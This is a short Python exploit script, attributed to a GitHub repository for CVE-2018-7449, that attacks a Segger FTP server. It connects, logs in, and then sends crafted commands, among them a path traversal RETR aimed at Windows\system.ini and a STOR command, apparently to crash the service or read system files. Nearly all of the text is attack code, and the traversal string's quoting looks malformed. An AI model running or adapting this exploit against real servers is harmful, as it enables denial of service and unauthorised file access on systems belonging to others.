#!coding=utf-8 # # [+] this script was created from: antogit-sys * # [+] URL: https://github.com/antogit-sys/CVE-2018-7449 # [+] LICENSE: GPLv3 # import ftplib from time import sleep class ExploitFTPSegger: def __init__(self, ip, port): self.ip = ip self.port = port self.ftp = ftplib.FTP() self.badchars = [ "STOR antogit-sys!", "LIST", "RETR '+'..\\'*8+'Windows\system.ini" ] def connectServer(self): done = False try: done = self.ftp.connect(self.ip, self.port) sleep(1) except (ConnectionRefusedError, EOFError, OSError): pass return done def close_connection(self): self.ftp.close() def send_usr(self, usr): return self.ftp.sendcmd("USER "+usr) def send_passwd(self, passwd): return self.ftp.sendcmd("PASS "+passwd) def login(self, username, password): done = False try: usr_done = self.send_usr(username) passwd_done = self.send_passwd(password) done = usr_done + "\n"+ passwd_done except ftplib.error_perm: pass return done def send_badchars(self): try: for bc in self.badchars: self.ftp.sendcmd(bc) sleep(1) except (ConnectionResetError, ftplib.error_temp, KeyboardInterrupt): pass